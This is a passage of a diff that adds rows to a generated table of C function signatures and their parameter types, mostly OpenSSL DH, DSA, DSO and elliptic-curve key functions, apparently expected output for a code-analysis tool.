+| (DES_cblock *) | | DES_random_key | 0 | DES_cblock * | +| (DES_cblock *) | | DES_set_odd_parity | 0 | DES_cblock * | +| (DH *) | | DH_get0_engine | 0 | DH * | +| (DH *) | | ossl_dh_get0_params | 0 | DH * | +| (DH *) | | ssl_dh_to_pkey | 0 | DH * | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 0 | DH ** | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | d2i_DHparams | 2 | long | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 0 | DH ** | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | d2i_DHxparams | 2 | long | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 0 | DH ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DH_PUBKEY | 2 | long | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 0 | DH ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 1 | const unsigned char ** | +| (DH **,const unsigned char **,long) | | ossl_d2i_DHx_PUBKEY | 2 | long | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 0 | DH * | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 1 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *) | | DH_set0_key | 2 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 0 | DH * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 1 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 2 | BIGNUM * | +| (DH *,BIGNUM *,BIGNUM *,BIGNUM *) | | DH_set0_pqg | 3 | BIGNUM * | +| (DH *,OSSL_LIB_CTX *) | | ossl_dh_set0_libctx | 0 | DH * | +| (DH *,OSSL_LIB_CTX *) | | ossl_dh_set0_libctx | 1 | OSSL_LIB_CTX * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 0 | DH * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 1 | OSSL_PARAM_BLD * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_dh_params_todata | 2 | OSSL_PARAM[] | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 0 | DH * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 1 | OSSL_PARAM_BLD * | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 2 | OSSL_PARAM[] | +| (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 3 | int | +| (DH *,const DH_METHOD *) | | DH_set_method | 0 | DH * | +| (DH *,const DH_METHOD *) | | DH_set_method | 1 | const DH_METHOD * | +| (DH *,const OSSL_PARAM[]) | | ossl_dh_params_fromdata | 0 | DH * | +| (DH *,const OSSL_PARAM[]) | | ossl_dh_params_fromdata | 1 | const OSSL_PARAM[] | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 0 | DH * | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 1 | const OSSL_PARAM[] | +| (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | int | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 0 | DH * | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 1 | const unsigned char * | +| (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | size_t | +| (DH *,int) | | DH_clear_flags | 0 | DH * | +| (DH *,int) | | DH_clear_flags | 1 | int | +| (DH *,int) | | DH_set_flags | 0 | DH * | +| (DH *,int) | | DH_set_flags | 1 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 0 | DH * | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 1 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 2 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 3 | int | +| (DH *,int,int,int,BN_GENCB *) | | ossl_dh_generate_ffc_parameters | 4 | BN_GENCB * | +| (DH *,long) | | DH_set_length | 0 | DH * | +| (DH *,long) | | DH_set_length | 1 | long | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_bn_mod_exp | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_compute_key | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_compute_key | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_finish | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_finish | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_key | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_key | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_params | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_generate_params | 1 | ..(*)(..) | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_init | 0 | DH_METHOD * | +| (DH_METHOD *,..(*)(..)) | | DH_meth_set_init | 1 | ..(*)(..) | +| (DH_METHOD *,const char *) | | DH_meth_set1_name | 0 | DH_METHOD * | +| (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | const char * | +| (DH_METHOD *,int) | | DH_meth_set_flags | 0 | DH_METHOD * | +| (DH_METHOD *,int) | | DH_meth_set_flags | 1 | int | +| (DH_METHOD *,void *) | | DH_meth_set0_app_data | 0 | DH_METHOD * | +| (DH_METHOD *,void *) | | DH_meth_set0_app_data | 1 | void * | +| (DIST_POINT *) | | DIST_POINT_free | 0 | DIST_POINT * | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 0 | DIST_POINT ** | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 1 | const unsigned char ** | +| (DIST_POINT **,const unsigned char **,long) | | d2i_DIST_POINT | 2 | long | +| (DIST_POINT_NAME *) | | DIST_POINT_NAME_free | 0 | DIST_POINT_NAME * | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 0 | DIST_POINT_NAME ** | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 1 | const unsigned char ** | +| (DIST_POINT_NAME **,const unsigned char **,long) | | d2i_DIST_POINT_NAME | 2 | long | +| (DIST_POINT_NAME *,const X509_NAME *) | | DIST_POINT_set_dpname | 0 | DIST_POINT_NAME * | +| (DIST_POINT_NAME *,const X509_NAME *) | | DIST_POINT_set_dpname | 1 | const X509_NAME * | +| (DSA *) | | DSA_get0_engine | 0 | DSA * | +| (DSA *) | | DSA_get_method | 0 | DSA * | +| (DSA *) | | ossl_dsa_get0_params | 0 | DSA * | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPrivateKey | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAPublicKey | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSA_PUBKEY | 2 | long | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | d2i_DSAparams | 2 | long | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 0 | DSA ** | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 1 | const unsigned char ** | +| (DSA **,const unsigned char **,long) | | ossl_d2i_DSA_PUBKEY | 2 | long | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 0 | DSA * | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 1 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *) | | DSA_set0_key | 2 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 0 | DSA * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 1 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 2 | BIGNUM * | +| (DSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | DSA_set0_pqg | 3 | BIGNUM * | +| (DSA *,OSSL_LIB_CTX *) | | ossl_dsa_set0_libctx | 0 | DSA * | +| (DSA *,OSSL_LIB_CTX *) | | ossl_dsa_set0_libctx | 1 | OSSL_LIB_CTX * | +| (DSA *,const DSA_METHOD *) | | DSA_set_method | 0 | DSA * | +| (DSA *,const DSA_METHOD *) | | DSA_set_method | 1 | const DSA_METHOD * | +| (DSA *,const OSSL_PARAM[]) | | ossl_dsa_ffc_params_fromdata | 0 | DSA * | +| (DSA *,const OSSL_PARAM[]) | | ossl_dsa_ffc_params_fromdata | 1 | const OSSL_PARAM[] | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 0 | DSA * | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 1 | const OSSL_PARAM[] | +| (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | int | +| (DSA *,int) | | DSA_clear_flags | 0 | DSA * | +| (DSA *,int) | | DSA_clear_flags | 1 | int | +| (DSA *,int) | | DSA_set_flags | 0 | DSA * | +| (DSA *,int) | | DSA_set_flags | 1 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 0 | DSA * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 1 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 2 | const unsigned char * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 3 | int | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 4 | int * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 5 | unsigned long * | +| (DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *) | | DSA_generate_parameters_ex | 6 | BN_GENCB * | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 0 | DSA * | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 1 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 2 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 3 | int | +| (DSA *,int,int,int,BN_GENCB *) | | ossl_dsa_generate_ffc_parameters | 4 | BN_GENCB * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_bn_mod_exp | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_bn_mod_exp | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_finish | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_finish | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_init | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_init | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_keygen | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_keygen | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_mod_exp | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_mod_exp | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_paramgen | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_paramgen | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign_setup | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_sign_setup | 1 | ..(*)(..) | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_verify | 0 | DSA_METHOD * | +| (DSA_METHOD *,..(*)(..)) | | DSA_meth_set_verify | 1 | ..(*)(..) | +| (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 0 | DSA_METHOD * | +| (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | const char * | +| (DSA_METHOD *,int) | | DSA_meth_set_flags | 0 | DSA_METHOD * | +| (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | int | +| (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 0 | DSA_METHOD * | +| (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 1 | void * | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 0 | DSA_SIG ** | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 1 | const unsigned char ** | +| (DSA_SIG **,const unsigned char **,long) | | d2i_DSA_SIG | 2 | long | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 0 | DSA_SIG * | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 1 | BIGNUM * | +| (DSA_SIG *,BIGNUM *,BIGNUM *) | | DSA_SIG_set0 | 2 | BIGNUM * | +| (DSO *) | | DSO_flags | 0 | DSO * | +| (DSO *) | | DSO_get_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_convert_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_convert_filename | 1 | const char * | +| (DSO *,const char *) | | DSO_set_filename | 0 | DSO * | +| (DSO *,const char *) | | DSO_set_filename | 1 | const char * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 0 | DSO * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 1 | const char * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 2 | DSO_METHOD * | +| (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 3 | int | +| (DSO *,int,long,void *) | | DSO_ctrl | 0 | DSO * | +| (DSO *,int,long,void *) | | DSO_ctrl | 1 | int | +| (DSO *,int,long,void *) | | DSO_ctrl | 2 | long | +| (DSO *,int,long,void *) | | DSO_ctrl | 3 | void * | | (DWORD &,LPCTSTR) | CRegKey | QueryValue | 0 | DWORD & | | (DWORD &,LPCTSTR) | CRegKey | QueryValue | 1 | LPCTSTR | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 0 | ECDSA_SIG ** | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 1 | const unsigned char ** | +| (ECDSA_SIG **,const unsigned char **,long) | | d2i_ECDSA_SIG | 2 | long | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 0 | ECDSA_SIG * | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 1 | BIGNUM * | +| (ECDSA_SIG *,BIGNUM *,BIGNUM *) | | ECDSA_SIG_set0 | 2 | BIGNUM * | +| (ECPARAMETERS *) | | ECPARAMETERS_free | 0 | ECPARAMETERS * | +| (ECPKPARAMETERS *) | | ECPKPARAMETERS_free | 0 | ECPKPARAMETERS * | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 0 | ECPKPARAMETERS ** | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 1 | const unsigned char ** | +| (ECPKPARAMETERS **,const unsigned char **,long) | | d2i_ECPKPARAMETERS | 2 | long | +| (ECX_KEY *) | | ossl_ecx_key_allocate_privkey | 0 | ECX_KEY * | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED448_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_ED25519_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X448_PUBKEY | 2 | long | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 0 | ECX_KEY ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 1 | const unsigned char ** | +| (ECX_KEY **,const unsigned char **,long) | | ossl_d2i_X25519_PUBKEY | 2 | long | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 0 | ECX_KEY * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 1 | ECX_KEY * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 2 | size_t | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 3 | unsigned char * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 4 | size_t * | +| (ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t) | | ossl_ecx_compute_key | 5 | size_t | +| (ECX_KEY *,OSSL_LIB_CTX *) | | ossl_ecx_key_set0_libctx | 0 | ECX_KEY * | +| (ECX_KEY *,OSSL_LIB_CTX *) | | ossl_ecx_key_set0_libctx | 1 | OSSL_LIB_CTX * | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 0 | ECX_KEY * | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 1 | const OSSL_PARAM[] | +| (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | int | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 0 | EC_GROUP ** | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 1 | const unsigned char ** | +| (EC_GROUP **,const unsigned char **,long) | | d2i_ECPKParameters | 2 | long | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_mont_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_nist_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 0 | EC_GROUP * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 1 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 2 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 3 | const BIGNUM * | +| (EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_group_set_curve | 4 | BN_CTX * | +| (EC_GROUP *,const EC_GROUP *) | | EC_GROUP_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | EC_GROUP_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GF2m_simple_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GF2m_simple_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_mont_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_mont_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_nist_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_nist_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_simple_group_copy | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_GROUP *) | | ossl_ec_GFp_simple_group_copy | 1 | const EC_GROUP * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 0 | EC_GROUP * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 1 | const EC_POINT * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 2 | const BIGNUM * | +| (EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *) | | EC_GROUP_set_generator | 3 | const BIGNUM * | +| (EC_GROUP *,const OSSL_PARAM[]) | | ossl_ec_group_set_params | 0 | EC_GROUP * | +| (EC_GROUP *,const OSSL_PARAM[]) | | ossl_ec_group_set_params | 1 | const OSSL_PARAM[] | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 0 | EC_GROUP * | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 1 | const unsigned char * | +| (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | size_t | +| (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 0 | EC_GROUP * | +| (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | int | +| (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 0 | EC_GROUP * | +| (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | int | +| (EC_GROUP *,point_conversion_form_t) | | EC_GROUP_set_point_conversion_form | 0 | EC_GROUP * | +| (EC_GROUP *,point_conversion_form_t) | | EC_GROUP_set_point_conversion_form | 1 | point_conversion_form_t | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECParameters | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_ECPrivateKey | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | d2i_EC_PUBKEY | 2 | long | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 0 | EC_KEY ** | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 1 | const unsigned char ** | +| (EC_KEY **,const unsigned char **,long) | | o2i_ECPublicKey | 2 | long | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 0 | EC_KEY * | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 1 | BN_CTX * | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 2 | BIGNUM ** | +| (EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **) | | ossl_ecdsa_simple_sign_setup | 3 | BIGNUM ** | +| (EC_KEY *,OSSL_LIB_CTX *) | | ossl_ec_key_set0_libctx | 0 | EC_KEY * | +| (EC_KEY *,OSSL_LIB_CTX *) | | ossl_ec_key_set0_libctx | 1 | OSSL_LIB_CTX * | +| (EC_KEY *,const BIGNUM *) | | EC_KEY_set_private_key | 0 | EC_KEY * | +| (EC_KEY *,const BIGNUM *) | | EC_KEY_set_private_key | 1 | const BIGNUM * | +| (EC_KEY *,const EC_GROUP *) | | EC_KEY_set_group | 0 | EC_KEY * | +| (EC_KEY *,const EC_GROUP *) | | EC_KEY_set_group | 1 | const EC_GROUP * | +| (EC_KEY *,const EC_KEY *) | | EC_KEY_copy | 0 | EC_KEY * | +| (EC_KEY *,const EC_KEY *) | | EC_KEY_copy | 1 | const EC_KEY * | +| (EC_KEY *,const EC_KEY_METHOD *) | | EC_KEY_set_method | 0 | EC_KEY * | +| (EC_KEY *,const EC_KEY_METHOD *) | | EC_KEY_set_method | 1 | const EC_KEY_METHOD * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_group_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_group_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_key_otherparams_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[]) | | ossl_ec_key_otherparams_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 0 | EC_KEY * | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 1 | const OSSL_PARAM[] | +| (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | int | +| (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 0 | EC_KEY * | +| (EC_KEY *,const 